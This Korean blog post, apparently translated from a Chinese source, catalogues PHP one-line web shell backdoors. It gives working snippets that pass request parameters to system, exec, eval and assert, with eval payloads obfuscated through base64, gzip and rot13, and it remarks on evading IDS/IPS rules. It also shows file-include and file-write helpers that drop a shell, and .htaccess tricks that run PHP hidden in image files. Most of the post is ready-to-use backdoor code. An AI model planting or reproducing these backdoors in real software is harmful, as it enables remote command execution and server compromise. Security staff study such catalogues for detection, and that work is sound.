'eval'에 해당되는 글 1건

  1. 2011.11.21 PHP 백도어(后门木马) 분석 3
0x04 reference&tools2011. 11. 21. 17:25


한줄짜리 웹쉘인 일구화목마의 PHP 버전에 대한 내용입니다.
다양한 방법으로 일구화목마를 작성할 수 있다는걸 보여주기 위함으로 보입니다.

http://space.baidu.com/w5r2/blog/item/9871b21dfae3527ef724e425.html


어쨋든 이 일구화목마를 동작시키기 위해서 eval 함수를 써야 하는 경우도 있고
eval 함수 없이 일반적으로 쓰이는 함수나 - include나 require 같은 - 특정 변수를 사용하는 경우도 있습니다.


PHP 백도어가 자주 사용하는 함수
1. 시스템 명령을 실행하는 함수 : system, passthru, shell_exec, exec, popen, proc_open
2. 코드 실행 및 암호화 : eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 파일 생성을 포함하는 함수 : require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess : SetHandler, auto_prepend_file, auto_append_file


1. 시스템 명령을 실행하는 함수
system 함수

  //test.php?cmd=ls
  system($_GET[cmd]);

passthru 함수

  //test.php?cmd=ls
  passthru($_GET[cmd]);

shell_exec 함수

  //test.php?cmd=ls
  echo shell_exec($_GET[cmd]);

exec 함수

  //test.php?cmd=ls
  $arr = array();
  exec($_GET[cmd],$arr);
  print_r($arr);

popen 함수

  //test.php?cmd=ls
  $handle = popen('$_GET[cmd], 'r');
  $read = fread($handle, 2096);
  echo $read;
  pclose($handle);

proc_open 함수

  //test.php?cmd=ls
  $descriptorspec = array(
         0 => array('pipe', 'r'),
         1 => array('pipe', 'w'),
         2 => array('pipe', 'w'),
      );
  $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
  fclose($pipes[0]);
  $output = array();
  while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
  print_r($output);


2. 코드 실행 및 암호화
eval 함수

  //가장 일반적인 일구화목마
  eval($_POST[cmd]);

base64_decode 함수

  //Ciphertext: eval($_POST['cmd']);
  eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 함수

  //Ciphertext: eval($_POST['cmd']);
  eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 함수

  //Ciphertext: eval($_POST['cmd']);
  eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 함수

  //Ciphertext: eval($_POST['cmd']);
  eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 함수 --> eval 함수 없이 사용만 가능하다면 현재 IDS/IPS 룰에 의해 탐지되지 않을지도 모르겠습니다...

  //Ciphertext: eval($_POST[cmd]);
  eval(str_rot13('riny($_CBFG[pzq]);'));

assert 함수

  //eval함수와 유사한
  assert($_POST[cmd]);

call_user_func 함수

  call_user_func('assert',$_POST[cmd]);

call_user_func 함수

  //test.php?a=assert&cmd=phpinfo()
  call_user_func($_GET[a],$_REQUEST[cmd]);

  //test.php?a=assert&cmd=phpinfo()
  $_GET[a]($_REQUEST[cmd]);


3. 파일 생성을 포함하는 함수
require 함수

  //임의의 파일 포함
  //test.php?file=123.jpg
  require($_GET[file]);

require_once 함수

  //임의의 파일 포함
  //test.php?file=123.jpg
  require_once($_GET[file]);

include 함수

  //임의의 파일 포함
  //test.php?file=123.jpg
  include($_GET[file]);

include_once 함수

  //임의의 파일 포함
  //test.php?file=123.jpg
  include_once($_GET[file]);

file_get_contents 함수

  //임의의 파일 일기
  //test.php?f=config.inc.php
  echo file_get_contents($_GET['f']);

file_put_contents 함수

  //콘텐츠 파일 생성
  //a=test.php&b=<?php eval($_POST[cmd]);?>
  file_put_contents($_GET[a],$_GET[b]);

fputs 함수

  //콘텐츠 파일 생성
  //a=test.php&b=<?php eval($_POST[cmd]);?>
  fputs(fopen($_GET[a],"w"),$_GET[b]);


4. .htaccess
SetHandler

  // x.jpg에 PHP 코드를 삽입하고 .htaccess에 다음 내용을 추가하여 PHP 코드 사용
  // ....한다는 의미인 듯 합니다 -_-;;
  FilesMatch "x.jpg">
  SetHandler application/x-httpd-php
  </FilesMatch>

auto_prepend_file

  // 모든 PHP 코드에 123.gif에 있는 코드 삽입
  // 파일의 경로는 절대경로로 작성
  php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

  // auto_prepend_file 비슷한 방법
php_value auto_append_file c:/apache2/htdocs/123.gif



일부 번역이 매끄럽지 못한 부분은 과감히 빼버렸고 -_-;;
제가 이해한대로 적었습니다.


Posted by demantos